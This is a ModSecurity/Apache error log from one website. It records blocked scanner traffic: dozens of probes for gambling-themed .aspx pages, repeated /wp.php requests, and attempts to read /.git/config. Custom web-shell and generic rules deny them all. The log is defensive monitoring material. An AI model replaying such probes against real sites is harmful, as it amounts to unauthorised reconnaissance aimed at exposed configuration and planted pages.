[Thu Apr 16 08:45:34.588063 2026] [:error] [pid 57639:tid 57661] [client 88.88.156.124:49016] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aeAxLqMCQoTw7TsxWukILwAAAM8"]
[Thu Apr 16 08:45:37.072507 2026] [:error] [pid 49094:tid 49106] [client 88.88.156.124:42106] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aeAxMTbDwvcXorHR_MzYwgAAAUo"]
[Thu Apr 16 08:45:39.679755 2026] [:error] [pid 57639:tid 57654] [client 88.88.156.124:42122] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aeAxM6MCQoTw7TsxWukIOgAAAMg"]
[Thu Apr 16 08:45:42.488167 2026] [:error] [pid 57639:tid 57665] [client 88.88.156.124:41652] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aeAxNqMCQoTw7TsxWukIQgAAANM"]
[Thu Apr 16 08:45:45.055301 2026] [:error] [pid 57538:tid 57614] [client 88.88.156.124:41662] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aeAxOcuMaiEF5SVR2BdenAAAAIw"]
[Thu Apr 16 08:45:47.645750 2026] [:error] [pid 57639:tid 57663] [client 88.88.156.124:41676] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aeAxO6MCQoTw7TsxWukIRwAAANE"]
[Thu Apr 16 08:45:50.127684 2026] [:error] [pid 57639:tid 57647] [client 88.88.156.124:59188] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeAxPqMCQoTw7TsxWukITQAAAME"]
[Thu Apr 16 08:45:52.614829 2026] [:error] [pid 29603:tid 29606] [client 88.88.156.124:59198] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aeAxQFfGOR6fpTWUAzr97wAAAQE"]
[Thu Apr 16 08:45:55.069562 2026] [:error] [pid 29603:tid 29610] [client 88.88.156.124:59214] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aeAxQ1fGOR6fpTWUAzr9_AAAAQU"]
[Thu Apr 16 08:45:57.414862 2026] [:error] [pid 49094:tid 49098] [client 88.88.156.124:59222] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aeAxRTbDwvcXorHR_MzY-AAAAUI"]
[Thu Apr 16 08:45:59.893763 2026] [:error] [pid 57639:tid 57663] [client 88.88.156.124:58732] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aeAxR6MCQoTw7TsxWukIhAAAANE"]
[Thu Apr 16 08:46:03.091249 2026] [:error] [pid 57538:tid 57612] [client 88.88.156.124:58738] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeAxS8uMaiEF5SVR2BdepwAAAIo"]
[Thu Apr 16 08:46:05.583020 2026] [:error] [pid 57538:tid 57617] [client 88.88.156.124:58754] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeAxTcuMaiEF5SVR2BdeqwAAAI8"]
[Thu Apr 16 08:46:08.386770 2026] [:error] [pid 57538:tid 57618] [client 88.88.156.124:58762] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeAxUMuMaiEF5SVR2BderQAAAJA"]
[Thu Apr 16 08:46:11.008581 2026] [:error] [pid 49094:tid 49112] [client 88.88.156.124:60666] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeAxUzbDwvcXorHR_MzZDQAAAVA"]
[Thu Apr 16 08:46:13.304454 2026] [:error] [pid 57538:tid 57618] [client 88.88.156.124:60672] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeAxVcuMaiEF5SVR2BdexAAAAJA"]
[Thu Apr 16 08:46:16.231823 2026] [:error] [pid 57639:tid 57655] [client 88.88.156.124:60674] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeAxWKMCQoTw7TsxWukJPAAAAMk"]
[Thu Apr 16 08:46:18.732929 2026] [:error] [pid 49094:tid 49110] [client 88.88.156.124:60680] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeAxWjbDwvcXorHR_MzZIQAAAU4"]
[Thu Apr 16 08:46:21.044750 2026] [:error] [pid 49094:tid 49117] [client 88.88.156.124:42952] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeAxXTbDwvcXorHR_MzZNAAAAVU"]
[Thu Apr 16 08:46:23.511321 2026] [:error] [pid 57536:tid 57548] [client 88.88.156.124:42964] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aeAxXyQU4faGja6jpDuYtQAAAAA"]
[Thu Apr 16 08:46:26.317063 2026] [:error] [pid 49094:tid 49105] [client 88.88.156.124:42968] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aeAxYjbDwvcXorHR_MzZjAAAAUk"]
[Thu Apr 16 08:46:28.752562 2026] [:error] [pid 57537:tid 57578] [client 88.88.156.124:42982] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeAxZFVQRS8nm73ENAlRvgAAAEM"]
[Thu Apr 16 08:46:31.224461 2026] [:error] [pid 57538:tid 57622] [client 88.88.156.124:54466] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aeAxZ8uMaiEF5SVR2BdfMQAAAJQ"]
[Thu Apr 16 08:46:53.075210 2026] [:error] [pid 29603:tid 29623] [client 88.88.156.124:54480] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aeAxfVfGOR6fpTWUAzr_GAAAARI"]
[Thu Apr 16 08:46:55.573231 2026] [:error] [pid 57536:tid 57569] [client 88.88.156.124:51402] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aeAxfyQU4faGja6jpDuY6gAAABU"]
[Thu Apr 16 08:47:00.047736 2026] [:error] [pid 49094:tid 49113] [client 88.88.156.124:51406] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeAxhDbDwvcXorHR_MzZ2gAAAVE"]
[Thu Apr 16 08:47:02.492771 2026] [:error] [pid 49094:tid 49107] [client 88.88.156.124:39324] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeAxhjbDwvcXorHR_MzZ5wAAAUs"]
[Thu Apr 16 08:47:04.808493 2026] [:error] [pid 57639:tid 57661] [client 88.88.156.124:39326] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeAxiKMCQoTw7TsxWukKrQAAAM8"]
[Thu Apr 16 08:47:07.270533 2026] [:error] [pid 57639:tid 57668] [client 88.88.156.124:39342] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeAxi6MCQoTw7TsxWukKvwAAANY"]
[Thu Apr 16 08:47:09.726155 2026] [:error] [pid 57536:tid 57557] [client 88.88.156.124:53732] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeAxjSQU4faGja6jpDuY9wAAAAk"]
[Thu Apr 16 08:47:12.205643 2026] [:error] [pid 57639:tid 57665] [client 88.88.156.124:53748] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeAxkKMCQoTw7TsxWukK4QAAANM"]
[Thu Apr 16 08:47:14.517884 2026] [:error] [pid 57538:tid 57606] [client 88.88.156.124:53750] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeAxksuMaiEF5SVR2BdfkwAAAIQ"]
[Thu Apr 16 08:47:17.718206 2026] [:error] [pid 49094:tid 49105] [client 88.88.156.124:53764] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeAxlTbDwvcXorHR_MzaewAAAUk"]
[Thu Apr 16 08:47:20.221444 2026] [:error] [pid 57639:tid 57662] [client 88.88.156.124:44794] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeAxmKMCQoTw7TsxWukLGAAAANA"]
[Thu Apr 16 08:47:22.665249 2026] [:error] [pid 49094:tid 49113] [client 88.88.156.124:44804] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeAxmjbDwvcXorHR_MzaoQAAAVE"]
[Thu Apr 16 08:47:25.126648 2026] [:error] [pid 49094:tid 49112] [client 88.88.156.124:44814] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeAxnTbDwvcXorHR_MzapQAAAVA"]
[Thu Apr 16 08:47:27.436007 2026] [:error] [pid 57537:tid 57598] [client 88.88.156.124:44822] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeAxn1VQRS8nm73ENAlR-QAAAFc"]
[Thu Apr 16 08:47:29.882436 2026] [:error] [pid 57639:tid 57650] [client 88.88.156.124:37662] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aeAxoaMCQoTw7TsxWukLKgAAAMQ"]
[Thu Apr 16 08:47:32.348962 2026] [:error] [pid 49094:tid 49115] [client 88.88.156.124:37672] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeAxpDbDwvcXorHR_MzasAAAAVM"]
[Thu Apr 16 08:47:34.786469 2026] [:error] [pid 29603:tid 29614] [client 88.88.156.124:37682] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aeAxplfGOR6fpTWUAzr_SwAAAQk"]
[Thu Apr 16 08:47:37.255957 2026] [:error] [pid 57538:tid 57619] [client 88.88.156.124:37690] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aeAxqcuMaiEF5SVR2BdfpwAAAJE"]
[Thu Apr 16 09:22:51.578024 2026] [:error] [pid 57537:tid 57585] [client 20.193.52.210:6452] [client 20.193.52.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aeA561VQRS8nm73ENAlYgwAAAEo"]
[Thu Apr 16 09:22:51.642142 2026] [:error] [pid 57639:tid 57667] [client 20.193.52.210:6017] [client 20.193.52.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aeA566MCQoTw7TsxWukfQAAAANU"]
[Thu Apr 16 09:22:51.746995 2026] [:error] [pid 57639:tid 57651] [client 20.193.52.210:6022] [client 20.193.52.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aeA566MCQoTw7TsxWukfQQAAAMU"]
[Thu Apr 16 09:22:51.811373 2026] [:error] [pid 57639:tid 57654] [client 20.193.52.210:6048] [client 20.193.52.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aeA566MCQoTw7TsxWukfQgAAAMg"]
[Thu Apr 16 09:49:39.242400 2026] [:error] [pid 49094:tid 49107] [client 98.93.160.221:35574] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aeBAMzbDwvcXorHR_MzwgQAAAUs"]
[Thu Apr 16 10:46:00.089047 2026] [:error] [pid 57537:tid 57587] [client 147.135.252.145:49990] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aeBNaFVQRS8nm73ENAlk5wAAAEw"]
[Thu Apr 16 10:46:02.723059 2026] [:error] [pid 57538:tid 57605] [client 147.135.252.145:39620] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aeBNasuMaiEF5SVR2Bd4XgAAAIM"]
[Thu Apr 16 10:46:05.277081 2026] [:error] [pid 57639:tid 57661] [client 147.135.252.145:39634] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aeBNbaMCQoTw7TsxWulKSgAAAM8"]
[Thu Apr 16 10:46:07.689411 2026] [:error] [pid 57536:tid 57557] [client 147.135.252.145:39650] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aeBNbyQU4faGja6jpDuqfgAAAAk"]
[Thu Apr 16 10:46:10.122528 2026] [:error] [pid 49094:tid 49104] [client 147.135.252.145:39660] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aeBNcjbDwvcXorHR_MwFfwAAAUg"]
[Thu Apr 16 10:46:12.587861 2026] [:error] [pid 7880:tid 7890] [client 147.135.252.145:39222] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aeBNdKaezm4fSGc0yULu0wAAAYU"]
[Thu Apr 16 10:46:36.387851 2026] [:error] [pid 57639:tid 57660] [client 147.135.252.145:35444] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aeBNjKMCQoTw7TsxWulK1wAAAM4"]
[Thu Apr 16 11:14:22.361799 2026] [:error] [pid 29603:tid 29626] [client 98.93.160.221:60926] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aeBUDlfGOR6fpTWUAzokEQAAARU"]
